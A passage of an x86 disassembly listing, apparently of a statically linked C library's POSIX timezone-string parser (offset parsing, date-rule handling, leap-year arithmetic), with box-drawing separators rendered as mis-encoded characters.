[edx+8], edi jle short loc_805A575 mov ebx, 74Ch lea esi, [esi+0] loc_805A534: ; CODE XREF: sub_805A254+31Fj mov ecx, [ebp+arg_4] add ecx, ebx mov [ebp+var_1D50], ecx cmp [ebp+var_1D44], 0 jz short loc_805A55C movzx eax, byte ptr [esi] mov [ecx+0Ch], eax inc esi cmp eax, 1 jbe short loc_805A569 jmp loc_805A3EF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A55C: ; CODE XREF: sub_805A254+2F2j mov edx, [ebp+var_1D50] mov dword ptr [edx+0Ch], 0 loc_805A569: ; CODE XREF: sub_805A254+2FEj add ebx, 10h inc edi mov ecx, [ebp+arg_4] cmp [ecx+8], edi jg short loc_805A534 loc_805A575: ; CODE XREF: sub_805A254+2D6j xor eax, eax loc_805A577: ; CODE XREF: sub_805A254+1A0j lea esp, [ebp+var_1D5C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805A254 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805A584 proc near ; CODE XREF: sub_805AAC0+16p ; sub_805AAC0+9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] mov dl, [ecx] test dl, dl jz short loc_805A5BA movzx eax, dl mov ebx, dword_8078FA0 jmp short loc_805A5AB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A59C: ; CODE XREF: sub_805A584+34j cmp dl, 2Bh jz short loc_805A5BA inc ecx mov dl, [ecx] test dl, dl jz short loc_805A5BA movzx eax, dl loc_805A5AB: ; CODE XREF: sub_805A584+16j test byte ptr [ebx+eax*2+1], 8 jnz short loc_805A5BA mov al, dl add al, 0D4h cmp al, 1 ja short loc_805A59C loc_805A5BA: ; CODE XREF: sub_805A584+Bj ; sub_805A584+1Bj ... mov eax, ecx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805A584 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805A5C4 proc near ; CODE XREF: sub_805A634+17p ; sub_805A634+47p ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov ebx, [ebp+arg_0] mov edi, [ebp+arg_C] test ebx, ebx jz short loc_805A628 movzx edx, byte ptr [ebx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz short loc_805A628 xor edx, edx mov al, [ebx] test al, al jz short loc_805A61A mov esi, dword_8078FA0 mov [ebp+var_4], esi nop loc_805A5F8: ; CODE XREF: sub_805A5C4+54j movzx ecx, al mov esi, [ebp+var_4] test byte ptr [esi+ecx*2+1], 8 jz short loc_805A61A lea eax, [edx+edx*8] lea eax, [edx+eax-30h] lea edx, [ecx+eax] cmp edx, edi jg short loc_805A628 inc ebx mov al, [ebx] test al, al jnz short loc_805A5F8 loc_805A61A: ; CODE XREF: sub_805A5C4+28j ; sub_805A5C4+3Fj cmp [ebp+arg_8], edx jg short loc_805A628 mov esi, [ebp+arg_4] mov [esi], edx mov eax, ebx jmp short loc_805A62A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A628: ; CODE XREF: sub_805A5C4+11j ; sub_805A5C4+20j ... xor eax, eax loc_805A62A: ; CODE XREF: sub_805A5C4+62j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805A5C4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805A634 proc near ; CODE XREF: sub_805A6C8+32p ; sub_805A720+ABp var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push esi push ebx mov ecx, [ebp+arg_0] mov ebx, [ebp+arg_4] push 18h push 0 lea eax, [ebp+var_4] push eax push ecx call sub_805A5C4 mov ecx, eax add esp, 10h test ecx, ecx jz short loc_805A6B1 mov edx, [ebp+var_4] lea eax, [edx+edx*2] lea eax, [edx+eax*2] shl eax, 5 add eax, edx shl eax, 4 mov [ebx], eax cmp byte ptr [ecx], 3Ah jnz short loc_805A6BD inc ecx push 3Bh push 0 lea eax, [ebp+var_4] push eax push ecx call sub_805A5C4 mov ecx, eax add esp, 10h test ecx, ecx jz short loc_805A6B1 mov eax, [ebp+var_4] lea eax, [eax+eax*2] lea eax, [eax+eax*4] shl eax, 2 add [ebx], eax cmp byte ptr [ecx], 3Ah jnz short loc_805A6BD inc ecx push 3Bh push 0 lea eax, [ebp+var_4] push eax push ecx call sub_805A5C4 mov ecx, eax test ecx, ecx jnz short loc_805A6B8 loc_805A6B1: ; CODE XREF: sub_805A634+23j ; sub_805A634+53j xor eax, eax jmp short loc_805A6BF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A6B8: ; CODE XREF: sub_805A634+7Bj mov esi, [ebp+var_4] add [ebx], esi loc_805A6BD: ; CODE XREF: sub_805A634+3Bj ; sub_805A634+66j mov eax, ecx loc_805A6BF: ; CODE XREF: sub_805A634+7Fj lea esp, [ebp+var_C] pop ebx pop esi mov esp, ebp pop ebp retn sub_805A634 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805A6C8 proc near ; CODE XREF: sub_805AAC0+64p ; sub_805AAC0+CBp var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov ecx, [ebp+arg_0] mov esi, [ebp+arg_4] cmp byte ptr [ecx], 2Dh jnz short loc_805A6E0 mov ebx, 1 inc ecx jmp short loc_805A6F8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A6E0: ; CODE XREF: sub_805A6C8+Ej movzx edx, byte ptr [ecx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jnz short loc_805A6F6 mov al, [ecx] inc ecx cmp al, 2Bh jnz short loc_805A705 loc_805A6F6: ; CODE XREF: sub_805A6C8+25j xor ebx, ebx loc_805A6F8: ; CODE XREF: sub_805A6C8+16j push esi push ecx call sub_805A634 mov ecx, eax test ecx, ecx jnz short loc_805A70C loc_805A705: ; CODE XREF: sub_805A6C8+2Cj xor eax, eax jmp short loc_805A714 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A70C: ; CODE XREF: sub_805A6C8+3Bj test ebx, ebx jz short loc_805A712 neg dword ptr [esi] loc_805A712: ; CODE XREF: sub_805A6C8+46j mov eax, ecx loc_805A714: ; CODE XREF: sub_805A6C8+3Fj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_805A6C8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805A720 proc near ; CODE XREF: sub_805AAC0+100p ; sub_805AAC0+122p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] mov ebx, [ebp+arg_4] cmp byte ptr [ecx], 4Ah jnz short loc_805A740 mov dword ptr [ebx], 0 inc ecx push 16Dh push 1 jmp short loc_805A7A8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A740: ; CODE XREF: sub_805A720+Dj cmp byte ptr [ecx], 4Dh jnz short loc_805A78C mov dword ptr [ebx], 2 inc ecx push 0Ch push 1 lea eax, [ebx+0Ch] push eax push ecx call sub_805A5C4 mov ecx, eax add esp, 10h test ecx, ecx jz short loc_805A7BB mov al, [ecx] inc ecx cmp al, 2Eh jnz short loc_805A7BB push 5 push 1 lea eax, [ebx+8] push eax push ecx call sub_805A5C4 mov ecx, eax add esp, 10h test ecx, ecx jz short loc_805A7BB mov al, [ecx] inc ecx cmp al, 2Eh jnz short loc_805A7BB push 6 jmp short loc_805A7A6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A78C: ; CODE XREF: sub_805A720+23j movzx edx, byte ptr [ecx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz short loc_805A7BB mov dword ptr [ebx], 1 push 16Dh loc_805A7A6: ; CODE XREF: sub_805A720+6Aj push 0 loc_805A7A8: ; CODE XREF: sub_805A720+1Dj lea eax, [ebx+4] push eax push ecx call sub_805A5C4 mov ecx, eax add esp, 10h test ecx, ecx jnz short loc_805A7C0 loc_805A7BB: ; CODE XREF: sub_805A720+41j ; sub_805A720+48j ... xor eax, eax jmp short loc_805A7DD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A7C0: ; CODE XREF: sub_805A720+99j cmp byte ptr [ecx], 2Fh jnz short loc_805A7D4 inc ecx lea eax, [ebx+10h] push eax push ecx call sub_805A634 mov ecx, eax jmp short loc_805A7DB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805A7D4: ; CODE XREF: sub_805A720+A3j mov dword ptr [ebx+10h], 1C20h loc_805A7DB: ; CODE XREF: sub_805A720+B2j mov eax, ecx loc_805A7DD: ; CODE XREF: sub_805A720+9Dj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_805A720 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805A7E4 proc near ; CODE XREF: sub_805AAC0+1BCp ; sub_805AAC0+1D1p var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov ecx, [ebp+arg_0] mov [ebp+var_4], 0 mov edx, [ebp+arg_4] test dl, 3 jnz short loc_805A810 mov eax, [ebp+arg_4] mov edi, 64h cdq idiv edi mov ebx, edx test ebx, ebx jnz short loc_805A821 loc_805A810: ; CODE XREF: sub_805A7E4+19j mov eax, [ebp+arg_4] mov edi, 190h cdq idiv edi mov ebx, edx test ebx, ebx jnz short loc_805A828 loc_805A821: ; CODE XREF: sub_805A7E4+2Aj mov [ebp+var_4], 1 loc_805A828: ; CODE XREF: sub_805A7E4+3Bj mov edx, [ebp+arg_8] mov eax, [edx] cmp eax, 1 jz short loc_805A88C jg short loc_805A840 test eax, eax jz short loc_805A84C jmp loc_805AAA8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A840: ; CODE XREF: sub_805A7E4+4Ej cmp eax, 2 jz short loc_805A8AC jmp loc_805AAA8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A84C: ; CODE XREF: sub_805A7E4+52j mov edi, [ebp+arg_8] mov edi, [edi+4] dec edi lea eax, [edi+edi*4] lea eax, [edi+eax*4] lea eax, [edi+eax*8] shl eax, 2 sub eax, edi shl eax, 7 lea esi, [eax+ecx] cmp [ebp+var_4], 0 jz loc_805AAA8 mov edx, [ebp+arg_8] cmp dword ptr [edx+4], 3Bh jle loc_805AAA8 add esi, 15180h jmp loc_805AAA8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A88C: ; CODE XREF: sub_805A7E4+4Cj mov edi, [ebp+arg_8] mov edi, [edi+4] lea eax, [edi+edi*4] lea eax, [edi+eax*4] lea eax, [edi+eax*8] shl eax, 2 sub eax, edi shl eax, 7 lea esi, [eax+ecx] jmp loc_805AAA8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A8AC: ; CODE XREF: sub_805A7E4+5Fj mov esi, ecx xor ebx, ebx mov edx, [ebp+arg_8] mov edx, [edx+0Ch] dec edx mov [ebp+var_C], edx cmp ebx, edx jge loc_805A9B3 mov edi, [ebp+var_4] mov eax, edi add eax, edi add eax, edi mov ecx, eax shl ecx, 4 mov eax, edx sub eax, 0 and eax, 3 jz short loc_805A944 cmp eax, 1 jle short loc_805A922 cmp eax, 2 jle short loc_805A905 mov edx, dword ptr ds:unk_8068EC8[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax add ecx, 4 mov ebx, 1 loc_805A905: ; CODE XREF: sub_805A7E4+FEj mov edx, dword ptr ds:unk_8068EC8[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax add ecx, 4 inc ebx loc_805A922: ; CODE XREF: sub_805A7E4+F9j mov edx, dword ptr ds:unk_8068EC8[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax add ecx, 4 inc ebx cmp [ebp+var_C], ebx jle short loc_805A9B3 loc_805A944: ; CODE XREF: sub_805A7E4+F4j ; sub_805A7E4+1CDj mov edx, dword ptr ds:unk_8068EC8[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax mov edx, dword ptr ds:unk_8068ECC[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax mov edx, dword ptr ds:unk_8068ED0[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax mov edx, dword ptr ds:unk_8068ED4[ecx] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add esi, eax add ecx, 10h add ebx, 4 cmp [ebp+var_C], ebx jg short loc_805A944 loc_805A9B3: ; CODE XREF: sub_805A7E4+D8j ; sub_805A7E4+15Ej mov edx, [ebp+arg_8] mov edx, [edx+0Ch] add edx, 9 mov [ebp+var_C], edx mov eax, [ebp+var_C] mov edi, 0Ch cdq idiv edi mov ecx, edx inc ecx mov [ebp+var_C], ecx mov eax, [ebp+arg_4] mov edx, [ebp+arg_8] cmp dword ptr [edx+0Ch], 2 jg short loc_805A9DD dec eax loc_805A9DD: ; CODE XREF: sub_805A7E4+1F6j mov edi, 64h cdq idiv edi mov ebx, edx mov ecx, eax mov edx, [ebp+var_C] lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea eax, [edx+eax-2] mov [ebp+var_C], eax mov edi, 0Ah cdq idiv edi lea eax, [eax+ebx+1] mov [ebp+var_C], eax mov eax, ebx test eax, eax jge short loc_805AA11 add eax, 3 loc_805AA11: ; CODE XREF: sub_805A7E4+228j sar eax, 2 add [ebp+var_C], eax mov eax, ecx test ecx, ecx jge short loc_805AA20 lea eax, [ecx+3] loc_805AA20: ; CODE XREF: sub_805A7E4+237j sar eax, 2 add [ebp+var_C], eax lea eax, [ecx+ecx] sub [ebp+var_C], eax mov eax, [ebp+var_C] mov edi, 7 cdq idiv edi mov [ebp+var_C], edx test edx, edx jge short loc_805AA44 add edx, 7 mov [ebp+var_C], edx loc_805AA44: ; CODE XREF: sub_805A7E4+258j mov edx, [ebp+arg_8] mov ecx, [edx+4] sub ecx, [ebp+var_C] jns short loc_805AA52 add ecx, 7 loc_805AA52: ; CODE XREF: sub_805A7E4+269j mov ebx, 1 mov edi, [ebp+arg_8] cmp [edi+8], ebx jle short loc_805AA95 mov edx, [ebp+var_4] mov eax, edx add eax, edx add eax, edx shl eax, 4 mov edx, [edi+0Ch] lea edi, ds:0[edx*4] add eax, edi mov [ebp+var_C], eax lea esi, [esi] loc_805AA7C: ; CODE XREF: sub_805A7E4+2AFj lea eax, [ecx+7] mov edi, [ebp+var_C] cmp dword ptr ds:asc_8068EC4[edi], eax ; "/" jle short loc_805AA95 mov ecx, eax inc ebx mov edx, [ebp+arg_8] cmp [edx+8], ebx jnz short loc_805AA7C loc_805AA95: ; CODE XREF: sub_805A7E4+279j ; sub_805A7E4+2A4j lea eax, [ecx+ecx*4] lea eax, [ecx+eax*4] lea eax, [ecx+eax*8] shl eax, 2 sub eax, ecx shl eax, 7 add esi, eax loc_805AAA8: ; CODE XREF: sub_805A7E4+54j ; sub_805A7E4+61j ... mov eax, esi mov edi, [ebp+arg_8] add eax, [edi+10h] add eax, [ebp+arg_C] lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805A7E4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805AAC0 proc near ; CODE XREF: sub_805AF2C+21p ; sub_805AF5C+8Fp var_64 = byte ptr -64h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push edi push esi push ebx mov ebx, [ebp+arg_0] mov [ebp+var_34], ebx cmp [ebp+arg_8], 0 jnz short loc_805AAF8 push ebx call sub_805A584 mov ebx, eax mov ecx, ebx sub ecx, [ebp+var_34] mov [ebp+var_3C], ecx add esp, 4 cmp ecx, 2 jg short loc_805AB1A loc_805AAED: ; CODE XREF: sub_805AAC0+5Dj ; sub_805AAC0+70j ... mov eax, 0FFFFFFFFh jmp loc_805AF20 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805AAF8: ; CODE XREF: sub_805AAC0+13j xor al, al mov edi, ebx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax mov [ebp+var_3C], eax add ebx, eax cmp eax, 32h jbe short loc_805AB1A mov [ebp+var_3C], 32h loc_805AB1A: ; CODE XREF: sub_805AAC0+2Bj ; sub_805AAC0+51j cmp byte ptr [ebx], 0 jz short loc_805AAED lea eax, [ebp+var_4] push eax push ebx call sub_805A6C8 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_805AAED mov edi, [ebp+arg_4] push edi push offset aPosixrules ; "posixrules" call sub_805A254 mov esi, eax add esp, 8 test esi, esi jz short loc_805AB4F mov dword ptr [edi], 0 loc_805AB4F: ; CODE XREF: sub_805AAC0+87j cmp byte ptr [ebx], 0 jz loc_805AE88 mov [ebp+var_38], ebx push ebx call sub_805A584 mov ebx, eax mov ecx, ebx sub ecx, [ebp+var_38] mov [ebp+var_40], ecx add esp, 4 cmp ecx, 2 jle loc_805AAED cmp byte ptr [ebx], 0 jz short loc_805ABA0 cmp byte ptr [ebx], 2Ch jz short loc_805ABA0 cmp byte ptr [ebx], 3Bh jz short loc_805ABA0 lea eax, [ebp+var_8] push eax push ebx call sub_805A6C8 mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_805ABAC jmp loc_805AAED ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805ABA0: ; CODE XREF: sub_805AAC0+BAj ; sub_805AAC0+BFj ... mov edi, [ebp+var_4] add edi, 0FFFFF1F0h mov [ebp+var_8], edi loc_805ABAC: ; CODE XREF: sub_805AAC0+D7j cmp byte ptr [ebx], 2Ch jz short loc_805ABBA cmp byte ptr [ebx], 3Bh jnz loc_805AD34 loc_805ABBA: ; CODE XREF: sub_805AAC0+EFj inc ebx lea eax, [ebp+var_1C] push eax push ebx call sub_805A720 mov ebx, eax add esp, 8 test ebx, ebx jz loc_805AAED mov al, [ebx] inc ebx cmp al, 2Ch jnz loc_805AAED lea eax, [ebp+var_30] push eax push ebx call sub_805A720 mov ebx, eax add esp, 8 test ebx, ebx jz loc_805AAED cmp byte ptr [ebx], 0 jnz loc_805AAED mov ecx, [ebp+arg_4] mov dword ptr [ecx+8], 2 mov dword ptr [ecx+4], 88h mov edi, [ebp+var_8] neg edi mov [ecx+74Ch], edi mov dword ptr [ecx+750h], 1 mov edi, [ebp+var_3C] inc edi mov [ecx+754h], edi mov edi, [ebp+var_4] neg edi mov [ecx+75Ch], edi mov dword ptr [ecx+760h], 0 mov dword ptr [ecx+764h], 0 mov esi, [ebp+arg_4] add esi, 10h mov ebx, [ebp+arg_4] add ebx, 5D8h mov [ebp+var_44], 0 mov [ebp+var_58], 7B2h lea esi, [esi+0] loc_805AC6C: ; CODE XREF: sub_805AAC0+267j mov eax, [ebp+var_4] push eax lea eax, [ebp+var_1C] push eax mov ecx, [ebp+var_58] push ecx mov edi, [ebp+var_44] push edi call sub_805A7E4 mov [ebp+var_48], eax mov eax, [ebp+var_8] push eax lea eax, [ebp+var_30] push eax mov ecx, [ebp+var_58] push ecx push edi call sub_805A7E4 add esp, 20h cmp [ebp+var_48], eax jle short loc_805ACB4 mov [esi], eax add esi, 4 mov byte ptr [ebx], 1 inc ebx mov edi, [ebp+var_48] mov [esi], edi add esi, 4 mov byte ptr [ebx], 0 jmp short loc_805ACC8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ACB4: ; CODE XREF: sub_805AAC0+1DCj mov ecx, [ebp+var_48] mov [esi], ecx add esi, 4 mov byte ptr [ebx], 0 inc ebx mov [esi], eax add esi, 4 mov byte ptr [ebx], 1 loc_805ACC8: ; CODE XREF: sub_805AAC0+1F2j inc ebx mov [ebp+var_54], 0 mov edi, [ebp+var_58] test edi, 3 jnz short loc_805ACE9 mov eax, edi mov ecx, 64h cdq idiv ecx test edx, edx jnz short loc_805ACF8 loc_805ACE9: ; CODE XREF: sub_805AAC0+219j mov eax, [ebp+var_58] mov edi, 190h cdq idiv edi test edx, edx jnz short loc_805ACFF loc_805ACF8: ; CODE XREF: sub_805AAC0+227j mov [ebp+var_54], 1 loc_805ACFF: ; CODE XREF: sub_805AAC0+236j mov ecx, [ebp+var_54] mov edx, ds:dword_8068F28[ecx*4] lea eax, [edx+edx*4] lea eax, [edx+eax*4] lea eax, [edx+eax*8] shl eax, 2 sub eax, edx shl eax, 7 add [ebp+var_44], eax inc [ebp+var_58] cmp [ebp+var_58], 7F5h jle loc_805AC6C jmp loc_805AEBF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805AD34: ; CODE XREF: sub_805AAC0+F4j cmp byte ptr [ebx], 0 jnz loc_805AAED test esi, esi jnz loc_805AAED mov [ebp+var_4C], 0 xor ebx, ebx mov [ebp+var_58], 0 xor esi, esi mov [ebp+var_54], 0 mov edi, [ebp+var_54] mov ecx, [ebp+arg_4] cmp [ecx+8], edi jle loc_805AE13 mov edi, [ebp+var_8] neg edi mov [ebp+var_50], edi xor eax, eax nop loc_805AD78: ; CODE XREF: sub_805AAC0+34Dj mov ecx, [ebp+arg_4] cmp dword ptr [eax+ecx+750h], 0 jz short loc_805ADBC mov edx, esi mov esi, [eax+ecx+74Ch] add esi, [ebp+var_8] test ebx, ebx jz short loc_805AD9D cmp edx, esi jnz loc_805AAED loc_805AD9D: ; CODE XREF: sub_805AAC0+2D3j mov ecx, [ebp+var_50] mov edi, [ebp+arg_4] mov [eax+edi+74Ch], ecx mov ecx, [ebp+var_3C] inc ecx mov [eax+edi+754h], ecx mov ebx, 1 jmp short loc_805ADFE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805ADBC: ; CODE XREF: sub_805AAC0+2C3j mov edx, [ebp+var_58] mov edi, [ebp+arg_4] mov edi, [eax+edi+74Ch] add edi, [ebp+var_4] mov [ebp+var_58], edi cmp [ebp+var_4C], 0 jz short loc_805ADDD cmp edx, edi jnz loc_805AAED loc_805ADDD: ; CODE XREF: sub_805AAC0+313j mov edi, [ebp+var_4] neg edi mov ecx, [ebp+arg_4] mov [eax+ecx+74Ch], edi mov dword ptr [eax+ecx+754h], 0 mov [ebp+var_4C], 1 loc_805ADFE: ; CODE XREF: sub_805AAC0+2FAj add eax, 10h inc [ebp+var_54] mov ecx, [ebp+var_54] mov edi, [ebp+arg_4] cmp [edi+8], ecx jg loc_805AD78 loc_805AE13: ; CODE XREF: sub_805AAC0+2A7j test ebx, ebx jz loc_805AAED cmp [ebp+var_4C], 0 jz loc_805AAED xor ebx, ebx mov [ebp+var_54], 0 mov ecx, [ebp+var_54] mov edi, [ebp+arg_4] cmp [edi+4], ecx jle loc_805AEBF lea esi, [esi+0] loc_805AE40: ; CODE XREF: sub_805AAC0+3C3j mov ecx, [ebp+arg_4] mov edi, [ebp+var_54] movzx eax, byte ptr [edi+ecx+5D8h] shl eax, 4 lea edx, [ecx+eax+74Ch] mov eax, [ecx+edi*4+10h] test ebx, ebx jz short loc_805AE6C cmp dword ptr [edx+0Ch], 0 jnz short loc_805AE6C add eax, esi jmp short loc_805AE6F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805AE6C: ; CODE XREF: sub_805AAC0+39Ej ; sub_805AAC0+3A4j add eax, [ebp+var_58] loc_805AE6F: ; CODE XREF: sub_805AAC0+3A8j mov ecx, [ebp+var_54] mov edi, [ebp+arg_4] mov [edi+ecx*4+10h], eax mov ebx, [edx+4] inc ecx mov [ebp+var_54], ecx cmp [edi+4], ecx jg short loc_805AE40 jmp short loc_805AEBF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805AE88: ; CODE XREF: sub_805AAC0+92j mov [ebp+var_40], 0 mov ecx, [ebp+arg_4] mov dword ptr [ecx+8], 1 mov dword ptr [ecx+4], 0 mov edi, [ebp+var_4] neg edi mov [ecx+74Ch], edi mov dword ptr [ecx+750h], 0 mov dword ptr [ecx+754h], 0 loc_805AEBF: ; CODE XREF: sub_805AAC0+26Dj ; sub_805AAC0+377j ... mov edi, [ebp+var_3C] inc edi mov ecx, [ebp+arg_4] mov [ecx+0Ch], edi cmp [ebp+var_40], 0 jz short loc_805AED9 mov eax, [ecx+0Ch] inc eax add eax, [ebp+var_40] mov [ecx+0Ch], eax loc_805AED9: ; CODE XREF: sub_805AAC0+40Dj mov ecx, [ebp+arg_4] cmp dword ptr [ecx+0Ch], 33h ja loc_805AAED mov ebx, [ebp+arg_4] add ebx, 174Ch mov edi, [ebp+var_3C] push edi mov ecx, [ebp+var_34] push ecx push ebx call strncpy add ebx, edi mov byte ptr [ebx], 0 inc ebx add esp, 0Ch cmp [ebp+var_40], 0 jz short loc_805AF1E mov edi, [ebp+var_40] push edi mov ecx, [ebp+var_38] push ecx push ebx call strncpy mov byte ptr [edi+ebx], 0 loc_805AF1E: ; CODE XREF: sub_805AAC0+44Aj xor eax, eax loc_805AF20: ; CODE XREF: sub_805AAC0+32j lea esp, [ebp+var_64] pop ebx pop esi 